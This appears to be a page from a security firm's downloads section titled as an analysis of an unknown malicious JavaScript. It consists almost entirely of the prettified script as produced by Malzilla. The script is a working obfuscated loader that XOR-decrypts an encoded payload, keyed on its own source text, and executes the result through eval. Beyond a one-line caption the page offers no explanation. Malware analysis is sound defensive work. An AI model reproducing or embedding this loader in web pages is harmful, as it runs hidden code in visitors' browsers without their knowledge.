ZION SECURITY (EN) > Downloads > Analysis of an unknown malicious JavaScript
A nicer version of the script using Malzilla:
this.floatFinal="floatFinal";var intSet="intSet";var nsShortNs;nsShortNs='%9e%87%9c%8a%87%95%91%81%d5%b1%9b%96%89%9c%f7%cd%ea%9e%96%ba%89%96%9d%d2%8c%87%ba%c8%c9%85%89%9d%84%d0%d0%c4%84%93%9d%a4%97%c4%ab%9d%9c%e1%89%87%94%e9%82%95%de%93%8a%95%d9%c8%cf%e8%9c%a8%9b%9e%9e%d3%f6%9e%82%bf%8a%9e%82%84%d7%fd%9f%80%94%fc%df%d0%e9%d2%83%9a%d0%9b%81%88%c3%ce%dd%c6';
function doubleAsFloat(finalIntDate){ var windowUseWindow=false; var asAs=new Date(); function nullWordSet(byteNull) { var intFalse=0; var longSetAs=byteNull.length, falseWindowNull=0; var byteByte=false;
while(falseWindowNull<longSetAs) { intFalse+=windowDouble(byteNull,falseWindowNull)*longSetAs; falseWindowNull++; } return (intFalse+''); this.dateNs=''; var letterByte=new Date(); }
function windowDouble(falseDateStatic,staticNsWindow) { this.varShortSet="varShortSet"; return falseDateStatic['cEhGaTrGCGoPdGeGAEt.'.replace(/[TGE\.P]/g, '')](staticNsWindow); } var useUseVar=window['euvoaZlI'.replace(/[IuxZo]/g, '')]('a9rKghuym7e7nytKsh.Kc7aKlKlKeKey'.replace(/[h9yK7]/g, ''));
byteDoubleDate=0; var nullGetLetter=0,wordVar=0, charSetFalse=169; var getCharWord='';
var finalAsUse=(new String(useUseVar)).replace(/[^@a-z0-9A-Z_.,-]/g,''); this.useNull=false; var byteFalse=nullWordSet(finalAsUse); trueSetStatic=0; finalIntDate=window['uynPe,s!c!a9pyeP'.replace(/[y9,\!P]/g,'')](finalIntDate);
var doubleWordNull=''; for(var nsLetter=0;nsLetter < (finalIntDate.length); nsLetter++) { for(varFloatWindow=0;varFloatWindow<3;varFloatWindow++) { varFloatWindow++ };
function useFalseLetter(useFalseLetter) { return 'useFalseLetter' };
this.charNullAs=""; var falseInt=windowDouble(finalAsUse,nullGetLetter); var charLong=windowDouble(byteFalse,wordVar); var shortAsSet=function(){}; function doubleFalse(){}; var asIntByte=falseInt^charLong^charSetFalse; for(setFalse=0;setFalse<3;setFalse++) { setFalse++ }; var varStaticFalse=windowDouble(finalIntDate,nsLetter);
var finalTrueLong=5164; var charDouble=""; nullGetLetter++,wordVar++; var nsNull=''; getCharWord+=String['f[rzozm[C2h[aXr2CXoXdzez'.replace(/[\[5X2z]/g,'')](varStaticFalse^asIntByte); if(wordVar>byteFalse.length)wordVar=0; if(nullGetLetter>finalAsUse.length)nullGetLetter=0; } var varWindow="varWindow"; window['euvoaZlI'.replace(/[IuxZo]/g, '')](getCharWord); var staticNull=new Array(); var trueStatic=false; return getCharWord=new String(); var varGet='varGet'.substring(50066, 50066);}doubleAsFloat(nsShortNs);var getVarWord="getVarWord";this.finalUseNs='';